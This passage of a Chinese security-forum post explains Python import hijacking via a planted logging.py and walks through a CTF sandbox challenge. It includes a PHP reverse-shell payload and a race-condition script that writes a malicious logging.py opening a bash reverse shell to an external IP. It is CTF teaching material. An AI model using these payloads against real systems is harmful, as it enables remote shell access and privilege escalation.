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" alt=image.png referrerpolicy=no-referrer layer-index=4></p>
<h1 blockindex=83>import相关利用</h1>
<p blockindex=84>其实import函数的导入包的过程是有先后顺序的,我们用strace查看下具体的文件查看流程,以<code>import logging</code>为例子:</p>
<pre blockindex=85><code class="hljs language-bash">┌──(kali㉿kali)-[~]
└─$ strace -e openat python3 -c <span class=hljs-string>"import logging"</span>
openat(AT_FDCWD, <span class=hljs-string>"/etc/ld.so.cache"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/lib/x86_64-linux-gnu/libm.so.6"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/lib/x86_64-linux-gnu/libz.so.1"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/lib/x86_64-linux-gnu/libexpat.so.1"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/lib/x86_64-linux-gnu/libc.so.6"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/locale/locale-archive"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/pyvenv.cfg"</span>, O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, <span class=hljs-string>"/usr/bin/pyvenv.cfg"</span>, O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, <span class=hljs-string>"/usr/bin/python3._pth"</span>, O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, <span class=hljs-string>"/usr/bin/python3.12._pth"</span>, O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, <span class=hljs-string>"/usr/bin/pybuilddir.txt"</span>, O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, <span class=hljs-string>"/etc/localtime"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/encodings/__pycache__/__init__.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/encodings"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/encodings/__pycache__/aliases.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/encodings/__pycache__/utf_8.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/local/lib/python3.12/dist-packages"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages/PasteScript-3.6.0-nspkg.pth"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/encodings/__pycache__/utf_8_sig.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/types.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/importlib/__pycache__/__init__.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/warnings.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/importlib"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/importlib/__pycache__/_abc.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages/distutils-precedence.pth"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/lib-dynload"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/local/lib/python3.12/dist-packages"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages/_distutils_hack/__pycache__/__init__.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages/repoze.lru-0.7-nspkg.pth"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages/zc.lockfile-3.0.post1-nspkg.pth"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3/dist-packages/zope.interface-7.1.1-nspkg.pth"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/sitecustomize.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
<span class=hljs-comment>##----------------------------在这上面就是去完成初始化Python解释器环境----------------------</span>
openat(AT_FDCWD, <span class=hljs-string>"/home/kali"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/logging/__pycache__/__init__.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
<span class=hljs-comment>##--------------------------你会发现import是优先查找当前目录下是否存在logging.py,再去系统内置的/usr/lib/python3.12/看的</span>
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/re/__pycache__/__init__.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/enum.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/operator.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/functools.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/collections/__pycache__/__init__.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/keyword.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/reprlib.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/re"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/re/__pycache__/_compiler.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/re/__pycache__/_parser.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/re/__pycache__/_constants.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/re/__pycache__/_casefix.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/copyreg.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/traceback.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/collections"</span>, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/collections/__pycache__/abc.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/linecache.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/tokenize.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/token.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/textwrap.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/contextlib.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/weakref.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/_weakrefset.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/string.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, <span class=hljs-string>"/usr/lib/python3.12/__pycache__/threading.cpython-312.pyc"</span>, O_RDONLY|O_CLOEXEC) = 3
+++ exited with 0 +++
┌──(kali㉿kali)-[~]
└─$
</code></pre>
<p blockindex=86>所以,只要我们能够再当前目录上传一个logging.py文件,在基于文件的subprocess沙箱,就可以被轻松绕过了。<br>
例如巅峰极客的一道题</p>
<pre blockindex=87><code class="hljs language-py"><span class=hljs-keyword>from</span> flask <span class=hljs-keyword>import</span> Flask, request, session, redirect, url_for, render_template
<span class=hljs-keyword>import</span> os
<span class=hljs-keyword>import</span> secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(<span class=hljs-number>16</span>)
working_id = []
<span class=hljs-meta>@app.route(<span class=hljs-params><span class=hljs-string>'/'</span>, methods=[<span class=hljs-string>'GET'</span>, <span class=hljs-string>'POST'</span>]</span>)</span>
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>index</span>():</span>
<span class=hljs-keyword>if</span> request.method == <span class=hljs-string>'POST'</span>:
<span class=hljs-built_in>id</span> = request.form[<span class=hljs-string>'id'</span>]
<span class=hljs-keyword>if</span> <span class=hljs-keyword>not</span> <span class=hljs-built_in>id</span>.isalnum() <span class=hljs-keyword>or</span> <span class=hljs-built_in>len</span>(<span class=hljs-built_in>id</span>) != <span class=hljs-number>8</span>:
<span class=hljs-keyword>return</span> <span class=hljs-string>'无效的ID'</span>
session[<span class=hljs-string>'id'</span>] = <span class=hljs-built_in>id</span>
<span class=hljs-keyword>if</span> <span class=hljs-keyword>not</span> os.path.exists(<span class=hljs-string>f'/sandbox/<span class=hljs-subst>{<span class=hljs-built_in>id</span>}</span>'</span>):
os.popen(<span class=hljs-string>f'mkdir /sandbox/<span class=hljs-subst>{<span class=hljs-built_in>id</span>}</span> &amp;&amp; chown www-data /sandbox/<span class=hljs-subst>{<span class=hljs-built_in>id</span>}</span> &amp;&amp; chmod a+w /sandbox/<span class=hljs-subst>{<span class=hljs-built_in>id</span>}</span>'</span>).read()
<span class=hljs-keyword>return</span> redirect(url_for(<span class=hljs-string>'sandbox'</span>))
<span class=hljs-keyword>return</span> render_template(<span class=hljs-string>'submit_id.html'</span>)
<span class=hljs-meta>@app.route(<span class=hljs-params><span class=hljs-string>'/sandbox'</span>, methods=[<span class=hljs-string>'GET'</span>, <span class=hljs-string>'POST'</span>]</span>)</span>
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>sandbox</span>():</span>
<span class=hljs-keyword>if</span> request.method == <span class=hljs-string>'GET'</span>:
<span class=hljs-keyword>if</span> <span class=hljs-string>'id'</span> <span class=hljs-keyword>not</span> <span class=hljs-keyword>in</span> session:
<span class=hljs-keyword>return</span> redirect(url_for(<span class=hljs-string>'index'</span>))
<span class=hljs-keyword>else</span>:
<span class=hljs-keyword>return</span> render_template(<span class=hljs-string>'submit_code.html'</span>)
<span class=hljs-keyword>if</span> request.method == <span class=hljs-string>'POST'</span>:
<span class=hljs-keyword>if</span> <span class=hljs-string>'id'</span> <span class=hljs-keyword>not</span> <span class=hljs-keyword>in</span> session:
<span class=hljs-keyword>return</span> <span class=hljs-string>'no id'</span>
user_id = session[<span class=hljs-string>'id'</span>]
<span class=hljs-keyword>if</span> user_id <span class=hljs-keyword>in</span> working_id:
<span class=hljs-keyword>return</span> <span class=hljs-string>'task is still running'</span>
<span class=hljs-keyword>else</span>:
working_id.append(user_id)
code = request.form.get(<span class=hljs-string>'code'</span>)
os.popen(<span class=hljs-string>f'cd /sandbox/<span class=hljs-subst>{user_id}</span> &amp;&amp; rm *'</span>).read()
os.popen(<span class=hljs-string>f'sudo -u www-data cp /app/init.py /sandbox/<span class=hljs-subst>{user_id}</span>/init.py &amp;&amp; cd /sandbox/<span class=hljs-subst>{user_id}</span> &amp;&amp; sudo -u www-data python3 init.py'</span>).read()
os.popen(<span class=hljs-string>f'rm -rf /sandbox/<span class=hljs-subst>{user_id}</span>/phpcode'</span>).read()
php_file = <span class=hljs-built_in>open</span>(<span class=hljs-string>f'/sandbox/<span class=hljs-subst>{user_id}</span>/phpcode'</span>, <span class=hljs-string>'w'</span>)
php_file.write(code)
php_file.close()
result = os.popen(<span class=hljs-string>f'cd /sandbox/<span class=hljs-subst>{user_id}</span> &amp;&amp; sudo -u nobody php phpcode'</span>).read()
os.popen(<span class=hljs-string>f'cd /sandbox/<span class=hljs-subst>{user_id}</span> &amp;&amp; rm *'</span>).read()
working_id.remove(user_id)
<span class=hljs-keyword>return</span> result
<span class=hljs-keyword>if</span> __name__ == <span class=hljs-string>'__main__'</span>:
app.run(debug=<span class=hljs-literal>False</span>, host=<span class=hljs-string>'0.0.0.0'</span>, port=p80)
</code></pre>
<p blockindex=88>在这题中我们就是要通过死循环写logging.py,条件竞争最终实现提权的<br>
具体操作如下:<br>
先启动一个用户1来实现反弹nobody权限的shell</p>
<pre blockindex=89><code class="hljs language-php"><span class=hljs-meta>&lt;?php</span> system(<span class=hljs-string>'php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");\''</span>);<span class=hljs-meta>?&gt;</span>
</code></pre>
<p blockindex=90>然后使用死循环来实现存在恶意logging.py:</p>
<pre blockindex=91><code class="hljs language-php"><span class=hljs-keyword>echo</span> <span class=hljs-string>"__import__('os').popen('bash -c \"bash -i &gt;&amp; /dev/tcp/124.222.136.33/1338 0&gt;&amp;1\"')"</span> &gt; /tmp/logging.py
<span class=hljs-keyword>echo</span> <span class=hljs-string>"while true; do"</span> &gt;&gt; /tmp/exp.sh
<span class=hljs-keyword>echo</span> <span class=hljs-string>" cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py"</span> &gt;&gt; /tmp/exp.sh
<span class=hljs-keyword>echo</span> <span class=hljs-string>"done"</span> &gt;&gt; /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh
</code></pre>
<p blockindex=92>启动用户二(aaaaaaa2),随便传内容来触发即可</p></div></div>
</div>
<div class="post-opt mt-30">
<ul class="list-inline text-muted">
<li>
<i class="fa fa-clock-o"></i>
发表于 2025-02-08 09:00:02
</li>
<li>阅读 ( 104 )</li>
<li>分类:<a href=https://forum.butian.net/community/Web target=_blank rel="noopenner noreferrer">WEB安全</a>
</li>
</ul>
</div>
</div>
<div class="text-center mt-30 mb-20">
<button id=support-button class="btn btn-success btn-lg mr-5" data-loading-text=加载中... data-source_type=community data-source_id=4114 data-support_num=0> 0 推荐</button>
<button id=collect-button class="btn btn-default btn-lg" data-loading-text=加载中... data-source_type=community data-source_id=4114> 收藏</button>
</div>
</div>
<div class="widget-answers mt-15">
<h2 class="h4 post-title">0 条评论</h2>
<div class=comment>
</div>
<div class="widget-comment-form row mt-20 mb-20">
